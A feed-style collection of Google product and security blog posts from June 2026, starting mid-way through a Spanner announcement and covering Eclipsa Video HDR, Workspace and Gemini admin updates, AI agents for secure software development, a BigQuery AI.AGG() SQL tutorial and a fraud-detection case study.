Integrated columnar engine: To eliminate the ETL tax and bridge the gap between OLTP and OLAP, we integrated a breakthrough columnar engine directly into Spanner's distributed storage layer (Colossus). This allows developers to run complex analytical queries to run up to 200x faster directly on live, operational data without impacting transactional performance. And with full separation of storage and compute, users are able to run large analytical queries without impacting the operational workload using Spanner DataBoost, a serverless technology that directly accesses the database storage.
ScaNN-powered vector search: Our native vector search isn't a bolted-on afterthought. It’s powered by Scalable Nearest Neighbors (ScaNN) — the exact same state-of-the-art indexing algorithm that powers Google Search and YouTube. This allows Spanner to execute sub-millisecond similarity searches across 10-billion-plus vector indexes natively alongside relational and graph data.
Dynamic resharding: Under the hood, Spanner's architecture automatically reshards data based on size and load. This transparent load balancing eliminates the dreaded "hotspotting" that plagues legacy NoSQL and distributed SQL systems.

While some industry evaluations often measure the market through a fragmented lens of disconnected database engines, we believe true innovation requires engineering for this level of deep, architectural integrations. For the agentic era, anything other than a natively unified foundation is simply a bottleneck.

A unified vision for the agentic era

We believe that the future of data is unified, open, and inseparable from AI. Spanner’s momentum reflects a market rapidly shifting away from a patchwork of isolated databases towards a singular, intelligent context hub.

To meet this future head-on, we are relentlessly expanding what is possible with a single unified database. This includes breakthrough innovations like our integrated columnar engine for real-time analytics, native vector search powered by Google's world-class ScaNN technology, and built-in AI functions that bring model inference directly to your data. Furthermore, by integrating Spanner Graph integrated with Graph Neural Networks (GNNs) for deep predictive reasoning, and Spanner Omni to extend this unified architecture across hybrid and multi-cloud environments, we are delivering a platform designed for what comes next.

Crucially, Spanner does not exist in isolation; it is a foundational pillar of Google’s broader Agentic Data Cloud. Through seamless, zero-ETL integrations across our Data Cloud Including BigQuery for enterprise-wide analytics and Gemini Enterprise Agent Platform for advanced model orchestration, Spanner breaks down the barriers between operational data and enterprise intelligence.

In the agentic era, AI models require more than just isolated data points; they need a cohesive ecosystem. By natively federating real-time operational context from Spanner with petabyte-scale historical insights from BigQuery, we empower agents to act autonomously, reason deeply, and drive unprecedented business value.

By providing a real-time, trustworthy, and multi-faceted view of data, regardless of where it lives, Spanner empowers organizations to build the next wave of transformative, intelligent applications.

We are incredibly excited about the journey ahead and will continue to pioneer the frontiers of what a true multi-model database can achieve.

Try Spanner for free for 90-days or for as little as $65 USD/month for a production-ready instance that grows with your business without downtime or disruptive re-architecture.

^{Critical Capabilities for Cloud Database Management Systems for Operational Use Cases, By Ramke Ramakrishnan, Masud Miraz, Xingyu Gu, Henry Cook, Aaron Rosenbaum, November 19, 2025.}

^{GARTNER and MAGIC QUADRANT are registered trademarks and service marks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.}

^{Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.}

Eclipsa Video: HDR That Looks Right on Every Screen

2026-06-29T20:00:00+00:00

Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics

We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV.

While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.

To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open SMPTE ST 2094-50 specification, which Google developed in collaboration with Apple and NBCUniversal.

Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.

More consistency, comfort, and creative control

Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image.

Designed to scale with your hardware, Eclipsa Video provides three core benefits:

A consistent baseline: Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the HDR reference white. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.
Adaptive headroom: Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.
Preserved creative intent: Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.

Eclipsa Video preserves true highlight detail on any screen you watch.

Built natively into Android 17

Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.

Guidelines for developers & creators

We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:

Get started with implementation: Learn how to configure playback and capture in your apps with our official guide.
ExoPlayer & Media3 integration: Standard playback handling built directly into Jetpack Media3, allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.
Explore open source tools: View and inspect SMPTE ST 2094-50 metadata and dynamic gain curves in real time using the HDR Explorer.

What’s next

Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.

Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.

Notes & Availability

1. Device Compatibility: Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.

2. Developer Resources: The SMPTE ST 2094-50 Specification is openly accessible for technical evaluation.

Data regions support for the Gemini app now available

2026-06-29T19:58:12+00:00

Beginning today, the Gemini app adheres to your organization’s data regionalization requirements. As with Google Workspace, admins have the flexibility to configure controls for EU storage and processing, US storage and processing, or both, including granular settings down to the organizational unit (OU) level.

Data regions are critical for ensuring many customers can meet their own internal requirements, as well as other legal, regulatory, and data sovereignty requirements by controlling the geographical location of their data at rest. Expanding these controls to the Gemini app allows our customers to adopt Gemini broadly in their organization with confidence that their data is being processed and stored in the location they require.

Getting started

Admins: Visit the Help Center to learn more about data regions, choosing a geographic location for your data, setting up advanced settings for data regions, and what data is covered by data regions.
End users: There is no end user setting for this feature.

Rollout pace

Rapid Release and Scheduled Release domains: Available now

Availability

Enterprise: Enterprise Plus (provides in-region processing and storage capabilities)
Education: Education Plus and Education Standard (provides in-region storage capabilities only)
Other Editions: Frontline Plus (provides in-region processing and storage capabilities)

Resources

Google Workspace Admin Help: Data regions: Choose a geographic location for your data
Google Workspace Admin Help: What data is covered by a data region policy?
Google Workspace Admin Help: About Assured Controls and Assured Controls Plus

Assign mobile device management admin privileges based on organizational unit

2026-06-29T19:40:12+00:00

Previously available in beta, we’re now making this feature generally available, with improvements to the way devices are displayed to help admins view and manage their devices more efficiently.

Example experience for an admin with OU-level permissions

Getting started

Admins: Visit the Help Center to learn more about administrator roles and delegating device management administrator privileges.
End users: There is no end user impact or action required.

Rollout pace

Rapid Release and Scheduled Release domains: Full rollout (1–3 days for feature visibility) starting on June 29, 2026

Availability

Available to all Google Workspace customers

Resources

Google Workspace Admin Help: Create an admin role for an organizational unit
Google Workspace Admin Help: Delegate device management administrator privileges

Educators and students can now share Gemini Canvas creations directly to Google Classroom

2026-06-29T18:17:11+00:00

Educators and students of all ages can now seamlessly attach Gemini Canvas artifacts, like websites, quizzes, interactive games, infographics, and more, to Google Classroom assignments and posts. Right from Gemini Canvas, users can click on the “Share to to Classroom” button. This update allows users to enrich their classroom communication and coursework by embedding interactive materials directly into their existing workflows.

By removing the friction of exporting or linking external files, this feature helps teachers diversify their lesson materials and enables students to share creative outputs more efficiently. The integration ensures that rich, interactive media is easily accessible to everyone in the class, supporting a more engaging and dynamic digital learning environment.

Getting started

Admins:

The ability to share Gemini Canvas artifacts will be ON by default and can be managed via a new Admin console setting. Additionally, sharing is governed by your organization’s existing Drive sharing policies. If Drive content is set to be shareable outside the organization, your Gemini assets will be as well. Visit the Help Center to learn more.
To share Gemini Canvas artifacts to Google Classroom, students and educators must also be in a group or OU with Gemini set to On. Visit the Help Center to learn more about turning Gemini on or off for users.

End users: There is no end user setting for this feature. If enabled by your admin, you can share your Gemini canvases and media to Classroom, select Share > Share to Classroom > select the class and/or assignment you want to share it with. Visit the Help Center to learn more about Gemini.

Rollout pace

Rapid Release and Scheduled Release domains: Available now

Availability

Education: Education Fundamentals, Standard, and Plus

Resources

Google Workspace Updates Blog: Share chats, canvases, and generated media from the Gemini app securely via Google Drive
Google Workspace Admin Help: Turn conversation sharing on or off
Google Workspace Admin Help: Turn the Gemini app on or off

The Gemini app is bringing personalized image creation to more users.

2026-06-29T17:30:00+00:00

Personal Intelligence makes the Gemini app feel tailored to you. With your permission, it pulls from Google tools like Gmail, Google Photos, YouTube and Search to provid…

Updated admin setting for improved video quality in Google Meet

2026-06-29T17:05:55+00:00

Previously, the ‘Limit video bandwidth’ setting only limited video bandwidth on the uplink; it now limits bandwidth on the downlink as well. In addition, we’re improving quality for two-person calls by increasing the uplink bandwidth usage in this scenario.

Updated setting for Meet default video quality

Getting started

Admins: Your existing settings will remain applied. Visit the Help Center to learn more about configuring default video quality.
End users: There is no end user setting for this feature.

Rollout pace

Rapid Release and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) starting on June 29, 2026

Availability

Available to all Google Workspace customers

Resources

Google Admin Help: Manage Meet settings (for admins)
Google Admin Help: Configuring default video quality

Cloud CISO Perspectives: How Google Cloud Security uses AI internally

2026-06-29T16:00:00+00:00

Welcome to the second Cloud CISO Perspectives for June 2026. Today, we’re discussing how we use AI to chart a path to autonomous software development lifecycle security.

aside_block: <ListValue: [StructValue([('title', 'Get vital board insights with Google Cloud'), ('body', <wagtail.rich_text.RichText object at 0x7fed0c4547f0>), ('btn_text', 'Visit the hub'), ('href', 'https://cloud.google.com/solutions/security/board-of-directors?utm_source=cgc-site&utm_medium=et&utm_campaign=FY26-Q2-GLOBAL-GCP39634-email-dl-dgcsm-CISOP-NL-177159&utm_content=-&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>

Cloud CISO Perspectives: Our path to autonomous SDLC security

By Chris Betz, CISO, and Ruchi Shah, senior director, Security Engineering, Google Cloud

Chris Betz, CISO, Google Cloud

AI has upended the economics of exploiting vulnerabilities, effectively erasing the traditional patching window. To survive this new reality, security requires an autonomous defense.

To counter machine-speed, AI-driven threats, we’ve worked hard to transition Google Cloud’s security posture to an autonomous, proactive model. By embedding specialized AI agents directly into our software development lifecycle (SDLC), we’ve created automated guardrails that protect code at a scale and speed unreachable by human teams — and we’re taking steps to make those same guardrails widely available.

Ruchi Shah, senior director, Security Engineering, Google Cloud

How we designed agentic, secure SDLC architecture

Google Cloud deploys modular, interconnected AI agents across every stage of the software lifecycle to continuously harden products from code ingestion to production.

1. Design, review, and gate

Historically, launch intakes and threat modeling were manual bottlenecks. Today, Google Cloud engineering teams route product launches through an agent-based security review pipeline.

Agents cross-reference designs against a continuous control catalog of more than 200 rigorous security requirements. High-risk indicators are automatically triaged and flagged for human engineering intervention, while a dynamic product dossier updates in real-time to replace static threat models.

Google Cloud has embedded agentic capabilities across the entire SDLC flow to continuously harden products end-to-end.

2. Centralized AI code scanning and the Mantis framework

Naive, decentralized AI code scanning suffers from sloppiness, frequently hallucinating bugs and yielding true-positive rates under 7%. To solve this, we built Mantis, our core multi-agent orchestration framework designed specifically for scalable, context-aware repository analysis.

The core skills at the heart of Mantis are now open source to demonstrate the fundamental concept. We have a more full-fledged version running internally and securing our customers.

Mantis eliminates brute-force code ingestion by constructing a hierarchical security summary tree. By condensing individual files into directory and root-level summaries, Mantis reduces token overhead by over 85% while preserving critical structural context across massive repositories.

The architecture relies on a highly-coordinated workflow across new agents and existing technologies:

Strategist agent: Evaluates the high-level code structure, threat models, and dependency graphs to isolate risky architectural patterns, establishing a prioritized global plan of targeted investigation tasks.
Research agents: Acting as specialized domain investigators, these agents use internal code searches to drill into raw source files, examining data tracking, control flows, and sanitization logic.
Deduplicator, reviewer, and critic agents: Sanitize findings to filter out noise and eliminate false positives.
Reproduction sandbox: Automatically runs AI-generated proof-of-concept exploits in an isolated, emulated environment to verify real-world exploitability before alerting developers.

3. Self-healing fuzz testing

While code scanning provides breadth, dynamic fuzz testing uncovers deep runtime vulnerabilities. However, writing and maintaining fuzz harnesses are often a significant engineering bottleneck.

Our autonomous, multi-agent engine eliminates manual intervention:

Context and Drafting agents synthesize product logic and existing unit tests to author initial fuzzing harnesses.
Building and Testing agents execute the code and feed real-time compiler and linker errors into a Hallucination Cleaner agent, which acts as an automated mechanic to repair broken dependencies and build configurations.
Quality Analyzer agents monitor runtime execution, actively adjusting inputs to bypass code blockers and penetrate deeper into complex, stateful APIs.

4. The unified AI patching pipeline

Finding thousands of vulnerabilities at scale can create a dangerous remediation backlog without proper planning. To close the exposure window, our discovery tools route findings directly into an autonomous remediation pipeline:

The Reproduce agent replicates the crash in the sandbox.
The Bug Context agent maps the failure execution path.
The Patch agent generates a targeted code fix.
The Evaluation agent runs a rigorous regression loop (that re-compiles code and executes tests) to ensure the patch is safe. Only fully-validated fixes are submitted to a human reviewer.

5. Autonomous and secure posture management

Post-launch, we maintain security integrity with an autonomous security posture management (ASPM) system. By converting our security standard catalog into programmable skills files, the ASPM system continuously checks production systems for configuration drift, automatically triggering agentic remediation when a violation occurs.

Continuous augmentation via self-reflection

Stateless AI systems repeatedly fall into the same logical traps, such as attempting to fix bugs inefficiently and hallucinating about non-existent code. Our framework solves this by introducing a post-hoc self-reflection loop. After a workflow concludes, a dedicated reflection agent analyzes execution logs, tool histories, and human feedback.

Successful trajectories and design patterns are permanented into a global knowledge store. When future agents spin up, this intelligence is injected directly into their context window, creating a compounding-interest effect on our security engineering. This approach has helped us to improve both the vulnerability fix success rate and efficiency.

Moving toward immune software

Google Cloud's internal journey demonstrates that protecting software at AI-scale requires a fundamental paradigm shift from human-dependent checklists to proactive multi-agent orchestration. By pairing open-source tooling like Mantis with autonomous, self-healing execution loops, we are pioneering a future of "immune" software development — where applications continuously discover, validate, and patch their own weaknesses in real-time.

You can learn more about how we use Mantis and other tools to find and fix vulnerabilities at machine-speed here.

aside_block: <ListValue: [StructValue([('title', 'Learn something new'), ('body', <wagtail.rich_text.RichText object at 0x7fed0c454850>), ('btn_text', 'Watch now'), ('href', 'https://www.youtube.com/watch?v=C1wEjzOHh7Y'), ('image', <GAEImage: Cloud-CISO-Perspectives-logo-A>)])]>

In case you missed it

Here are the latest updates, products, services, and resources from our security teams so far this month:

Verifiable trust in the AI era: What’s new in Confidential Computing: To help further strengthen verifiable privacy in cloud AI deployments, here’s our latest Confidential Computing innovations. Read more.
Choice, compliance, and collaboration: Europe’s path to open digital sovereignty: Our Sovereign Cloud solutions are designed to meet Europe's tiered compliance requirements at every level. Read more.
How AI Is rewriting the SecOps playbook: With adversaries operating at machine speed, defenders must prioritize speed, automation, and continuous decision-making. Read more.
Google named a Leader in IDC MarketScape SIEM 2026 Vendor Assessment: We are proud to announce that Google has been named a Leader in the 2026 IDC MarketScape for worldwide SIEM platforms. Read more.
Announcing the Wiz Runtime Sensor for Windows: Wiz pairs real-time threat detection with a memory-safe architecture that scales efficiently to protect your essential cloud infrastructure. Read more.
New VPC Service Controls updates can help secure agents: Designed for agentic workloads, new capabilities in VPC Service Controls can help establish a network-level, destination-based perimeter. Read more.
Bug hunting on Gemini Spark: Gemini Spark brings a persistent agent to the Gemini App. Learn how to approach security testing for this new paradigm and focus on high-impact bugs. Read more.

Please visit the Google Cloud blog for more security stories published this month.

aside_block: <ListValue: [StructValue([('title', 'Join the Google Cloud CISO Community'), ('body', <wagtail.rich_text.RichText object at 0x7fed0c4548b0>), ('btn_text', 'Learn more'), ('href', 'https://rsvp.withgoogle.com/events/google-cloud-ciso-community-interest-form-2026?utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY25-Q1-global-GCP30328-physicalevent-er-dgcsm-parent-CISO-community-2025&utm_content=cisop_&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>

Threat Intelligence news

China-nexus threat actor targets medical community for cross-sector research: Google Threat Intelligence Group (GTIG) has identified a sophisticated campaign attributed to UNC6508, a People's Republic of China (PRC)-nexus threat actor, targeting the North American academic, medical, and military research community, that went undetected for more than a year. Read more.
ShinyHunters targets education sector with Oracle PeopleSoft exploit: Mandiant and GTIG have identified an active compromise and extortion campaign attributed to UNC6240 (ShinyHunters) targeting Oracle PeopleSoft application infrastructure. Read more.
Zero-day exploitation in Cisco Catalyst SD-WAN Manager: Mandiant has identified a threat actor targeting a vulnerability in Cisco Catalyst SD-WAN to escalate privileges from a compromised administrative account to root-level access. Read more.

Please visit the Google Cloud blog for more threat intelligence stories published this month.

Now hear this: Podcasts from Google Cloud

Cloud Security Podcast: How Google Cloud uses LLMs to defend billions of users: Google Cloud CISO Chris Betz discusses AI Threat Defense, and emphasizes shifting security practices earlier in the development lifecycle through human-AI collaboration. Listen here.
Cloud Security Podcast: To couple or decouple SIEM: Alex Hurtado, director, Detection Engineering, Scanner, and Christopher Witter, DNR lead, Dropbox, debate the merits of centralized versus decentralized SIEM architectures. Listen here.

To have our Cloud CISO Perspectives post delivered twice a month to your inbox, sign up for our newsletter. We’ll be back in a few weeks with more security-related updates from Google Cloud.

Synthesize the big picture and analyze trends with BigQuery's AI.AGG function

2026-06-29T16:00:00+00:00

We recently announced the preview of the BigQuery AI.AGG() function. With AI.AGG(), you can use natural-language instructions within a single line of SQL to summarize or synthesize information over millions of rows of unstructured or even multimodal data.

While BigQuery already offers powerful AI functions that help you analyze individual rows of data, analyzing unstructured data at scale requires a different approach. AI.AGG() lets you ask questions from unstructured data such as logs and documents, for example:

What are the top three feature requests among the negative product reviews?
What kind of errors are users seeing most frequently, and how should I start investigating them?
In which specific scenarios is our automated agent consistently failing to resolve customer issues?

In this post, we'll dive deeper into the AI.AGG() function and look at a few of the use cases that it unlocks, including how it can be used in combination with BigQuery’s other managed AI functions for complex, intelligent data analysis.

Analyzing system logs with `AI.AGG()`

A great example of the power of AI.AGG() is analyzing system logging. Log messages, warnings, errors, and stack traces can contain extremely useful information for improving your service, but it can be time- and labor-intensive to investigate them manually — especially if you operate at scale and have thousands of them to review.

With AI.AGG(), you can easily analyze many logs at once, grouping and prioritizing them to decide which ones to dig deeper into first. In fact, our BigQuery engineering team used this exact approach while developing AI.AGG() — using the function to help identify edge cases related to input handling for the feature itself!

To demonstrate this, let’s analyze a public dataset of Apache Spark standard INFO logs available from Loghub. Often, clusters can run into issues like memory thrashing, clock drift, or broadcast bottlenecks without ever throwing a FATAL error. You can use AI.AGG() to analyze these seemingly normal logs for hidden inefficiencies. You can load the sample data file into BigQuery using any of the supported methods, such as the UI, CLI, or client libraries. The following example assumes you’ve loaded the log file into a dataset called bq_logs_demo and table named spark_logs_unstructured.

Notice how we construct the prompt here. We explicitly give the model permission to say "everything is fine," which prevents it from hallucinating errors, while instructing it to hunt for specific anomalies:

code_block: <ListValue: [StructValue([('code', "SELECT\r\n Component AS spark_component,\r\n COUNT(*) AS log_count,\r\n AI.AGG(\r\n Content,\r\n 'Analyze these Spark system INFO logs. Provide a 2-sentence summary: First, describe the normal operation of this component. Second, explicitly identify any hidden inefficiencies, latency spikes, repeated retries, or unusual patterns.'\r\n ) AS performance_analysis\r\nFROM\r\n `bq_logs_demo.spark_logs_structured`\r\nGROUP BY\r\n Component\r\nORDER BY\r\n log_count DESC;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c435ee0>)])]>

You can see in these results that AI.AGG() successfully acknowledges the "operating normally" messages while surfacing the critical diagnostic insights:

The query results pane showing the insights generated by AI.AGG() over the logs dataset.

Extracting categories from unstructured text and image data

Now, let’s look at some more use cases that demonstrate the flexibility of AI.AGG(), using one of BigQuery’s public datasets, cymbal_pets, a fictional pet supply shop. It includes a catalog of products carried by the store, with unstructured data like product names, descriptions, and images, making it a great example of the power of AI functions for handling unstructured data.

For example, let’s say you want to categorize the products in the dataset. The first hurdle in this case isn't applying labels to your products, but discovering what categories exist across the product catalog. With AI.AGG(), you can ask the model to analyze the raw product names and descriptions to identify the overarching categories for you.

code_block: <ListValue: [StructValue([('code', "-- Identify categories of products from product name and description\r\nSELECT\r\n AI.AGG(\r\n ('Product: ', product_name, ' - Description: ', description),\r\n 'What are the major categories of these products?' \r\n ) AS category_description\r\nFROM\r\n `bigquery-public-data.cymbal_pets.products`;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c435f10>)])]>

This query returns a simple plaintext list of categories:

The plaintext result of categories determined by AI.AGG() over our products dataset.

This initial query is great for discovery, but a simple plaintext string isn't enough to build a reliable, automated data pipeline. To actually tag your data, you need to instruct AI.AGG() to return a structured format, like a JSON array. Then, you can use the structured categories as a parameter within another AI function, AI.CLASSIFY(), to actually label each product with its category.

The following SQL statement completes each of these steps in one script:

code_block: <ListValue: [StructValue([('code', "-- 1. Declare a variable to hold the array of categories\r\nDECLARE generated_labels ARRAY<STRING>;\r\n\r\n-- 2. Create a dataset to store the results\r\nCREATE SCHEMA IF NOT EXISTS categorized_cymbal_pets;\r\n\r\n-- 3. Generate the JSON string with AI.AGG and extract it into the variable\r\nSET generated_labels = (\r\n SELECT \r\n JSON_VALUE_ARRAY(\r\n AI.AGG(\r\n ('Product: ', product_name, ' - Description: ', description), \r\n 'Identify the major product categories. Return exactly one valid JSON array of strings. Do not include markdown code blocks, backticks, or conversational text.'\r\n )\r\n )\r\n FROM `bigquery-public-data.cymbal_pets.products`\r\n);\r\n\r\n-- 4. Feed the variable directly into AI.CLASSIFY\r\nCREATE OR REPLACE TABLE `categorized_cymbal_pets.categorized_products` AS (\r\nSELECT \r\n product_name,\r\n description,\r\n AI.CLASSIFY(\r\n ('Product: ', product_name, ' - Description: ', description),\r\n generated_labels\r\n ) AS assigned_category\r\nFROM \r\n `bigquery-public-data.cymbal_pets.products`\r\n);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c435eb0>)])]>

You can now view the resulting table, which includes an assigned_category:

A preview of the categorized_products table which includes the new assigned_category column created by AI.AGG() and AI.CLASSIFY().

If you look closely at the intermediate table, you'll notice the structured categories changed slightly from the initial plaintext results. This happens for two reasons: First, LLMs are nondeterministic, meaning that they don't always give the exact same response to the same prompt. Second, the prompt was adjusted to accommodate the new output structure.

The returned product categories are structured as JSON by AI.AGG() as requested as part of the prompt.

With the table now labeled by category, you can group by the categories to do traditional SQL aggregation, or use AI.AGG() to consider each category separately.

For example, the following query fetches traditional metrics (like row counts) right alongside a synthesized AI summary of what those specific grouped products have in common:

code_block: <ListValue: [StructValue([('code', "-- Synthesize insights grouped by our newly assigned categories\r\nSELECT \r\n assigned_category,\r\n COUNT(*) AS item_count,\r\n AI.AGG(\r\n ('Product: ', product_name, ' - Description: ', description),\r\n 'Write a concise, one-sentence summary describing the common characteristics or purpose of the products in this category.'\r\n ) AS category_summary\r\nFROM \r\n `categorized_cymbal_pets.categorized_products`\r\nGROUP BY \r\n assigned_category\r\nORDER BY \r\n item_count DESC;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c435e50>)])]>

Query results showing analyzing with AI.AGG() alongside more traditional SQL methods.

Unstructured data isn't limited to text. Because AI.AGG() natively supports multimodal inputs, you can return aggregated insights directly from image files.

The cymbal_pets Google Cloud project also contains a Cloud Storage bucket full of product photos. By creating an external object table, you can securely pass the image URIs directly into AI.AGG() and ask the model to summarize the visual content of the entire collection.

code_block: <ListValue: [StructValue([('code', "-- Summarize content of images in the object table\r\nSELECT\r\n AI.AGG(\r\n STRUCT(OBJ.GET_ACCESS_URL(ref, 'r')),\r\n 'What are the major categories of these images?'\r\n ) AS category_description\r\nFROM\r\n `bigquery-public-data.cymbal_pets.product_images`;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c438ca0>)])]>

Query results showing AI.AGG() surface product categories by analyzing the product images located in Google Cloud Storage.

How AI.AGG() works and best practices

To use AI.AGG() effectively in your own environment, it helps to understand how it processes data behind the scenes. Here’s what you need to know about context windows, error handling, and optimizing your pipelines.

1. Context windows and multi-level aggregation
LLMs have a specific context window and can have a hard time handling massive amounts of input. AI.AGG() solves this problem by automatically dividing your input rows into batches, aggregating those batches, and then aggregating the results of those batches into a final answer. This means you don’t have to worry about manually managing the context window when passing in large numbers of rows. Note that AI.AGG() won’t split up a row of data across batches, so make sure that each individual row is smaller than the context window, to avoid the row being skipped. Many smaller rows will give AI.AGG() more flexibility with how to batch each row.

2. Token usage with multi-level aggregation
Because AI.AGG() uses a multi-level aggregation structure, the total input tokens sent to the model may be higher than the raw tokens in your starting table (depending on how many rounds of aggregation are required). As a best practice, always reduce the number of input tokens by using LIMIT or pre-filtering your data upstream before passing it to AI.AGG().

3. Specifying your model endpoint
If you don’t specify a model endpoint, AI.AGG() will default to a recent model. However, for production pipelines, you often want explicit control:

Short-form names: You can use a short-form endpoint (e.g., gemini-2.5-flash), in which case AI.AGG() will use that model in the query execution region:

code_block: <ListValue: [StructValue([('code', "AI.AGG(\r\n input_data,\r\n instructions => 'Your instructions here.',\r\n endpoint => 'gemini-2.5-flash' \r\n)"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c438fa0>)])]>

Fully-qualified names: If the query execution region doesn’t support your desired model, or you prefer to use a global or multiregional endpoint, provide the fully qualified model name:

code_block: <ListValue: [StructValue([('code', "AI.AGG(\r\n input_data,\r\n instructions => 'Your instructions here.',\r\n endpoint => 'https://aiplatform.googleapis.com/v1/projects/[YOUR_PROJECT]/locations/global/publishers/google/models/gemini-3.5-flash'\r\n)"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c4380d0>)])]>

4. Input and output modalities

Inputs: AI.AGG() supports text (via strings or references to text files) and image data. It also supports arrays of these types, though you should refer to the known issues documentation for edge cases regarding arrays of images.
Outputs: The function will always return a string. While you can prompt the model in your instructions to format the output as JSON or Markdown, keep in mind that the database engine does not strictly enforce this. Multimodal output (e.g., generating an image) is not currently supported.

5. Treatment of NULLs
AI.AGG() automatically skips NULL input rows without processing them. However, you must be careful when passing structured data. Like other BigQuery AI functions, AI.AGG() concatenates STRUCT fields similarly to the standard CONCAT() function. This means if even one field within your STRUCT is NULL, the entire row is treated as NULL and will be skipped.

Let's revisit our first categorization query. What if several rows of our products table are missing their description? Because of the NULL concatenation rule, those rows would be silently dropped from the analysis entirely. Here is how we can use IFNULL() to provide a fallback string, guaranteeing that every product is taken into account even if its description is blank:

code_block: <ListValue: [StructValue([('code', "-- Identify categories of products from product name and (optional) description\r\nSELECT\r\n AI.AGG(\r\n ('Product: ', product_name, ' - Description: ', IFNULL(description, 'No description provided')),\r\n 'What are the major categories of these products?' \r\n ) AS category_description\r\nFROM\r\n `bigquery-public-data.cymbal_pets.products`;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fed0c438250>)])]>

6. Error handling
If AI.AGG() receives invalid input, or encounters an error during LLM processing, it will attempt to provide partial results. Rows containing invalid input or which were rejected by the LLM model will not be considered in the final results.

You can review exactly how many rows failed to process by checking your BigQuery job statistics, exactly as you would for scalar managed AI functions like AI.IF().

information showing an example of Gen AI function error details.

Give it a try!

These are just a few examples of the ways AI.AGG() can help analyze unstructured data. The AI.AGG() function is in preview in BigQuery now, so it’s available to all BigQuery users. Try it out on your own use cases!

You may also be interested in checking out BigQuery's other managed AI functions, AI.CLASSIFY(), AI.IF(), and AI.SCORE(), as well as general-purpose functions like AI.GENERATE(). We look forward to seeing what you build with them.

Scaling Network Analysis for Fraud Prevention with BigQuery Graph

2026-06-29T16:00:00+00:00

Based in the UK, Curve are building a financial super-app, a smart wallet that consolidates all your debit and credit cards into a single app and card, simplifying how millions of users spend, send and save money.

However, operating at this scale means confronting a high-volume, ever-evolving landscape of financial crime. While traditional fraud detection models are excellent at flagging suspicious individual transactions, they often miss the "bigger picture"—the complex networks and hidden relationships that characterize organized fraud rings.

To uncover these connections, we realized we needed to move beyond traditional relational data modeling. By partnering with Google Cloud to implement BigQuery Graph, we’ve been able to conduct deep network analysis at scale, helping us identify hidden fraud networks and achieve significant transaction savings.

The Challenge: The Multi-Hop Problem

Fraudsters rarely operate in isolation. They often share a subset of attributes across multiple accounts—such as a common device, a specific funding card, or shared contact information. In a standard relational database, identifying these links requires complex "multi-hop" analysis.

Attempting to scale this using standard SQL presented two significant hurdles:

Computational complexity: Uncovering a chain of connections (e.g., User A connects to User B, who connects to User C) requires multiple, massive self-joins. At our volume of millions of users and tens of millions of connections, these queries quickly became computationally expensive and difficult to maintain.
Data scale: Our most granular signals involve billions of potential connections. Standard relational approaches struggle to process these relationships without hitting performance bottlenecks or exhausting system resources.

The Solution: Native Graph Analytics in the data platform

We transitioned our network analysis to BigQuery Graph to take advantage of its native Graph Query Language (GQL) support. The primary advantage was the ability to stop moving our data and start connecting it directly within our existing environment. We had previously explored other popular graph databases - however, being able to keep our data within our BigQuery existing data warehouse gave us significant time and cost savings compared to having to migrate to a new graph database.

By modeling our payment ecosystem as a property graph—where users are nodes and their shared identifiers are edges—we simplified our architecture significantly. Instead of writing dozens of lines of complex JOIN logic, we can now use intuitive GQL syntax to "match" patterns of suspicious behavior across our entire dataset. This approach allows us to:

Traverse billions of connections: We can now analyze massive datasets, including user-level, device-level, and card-level connections, with high performance.
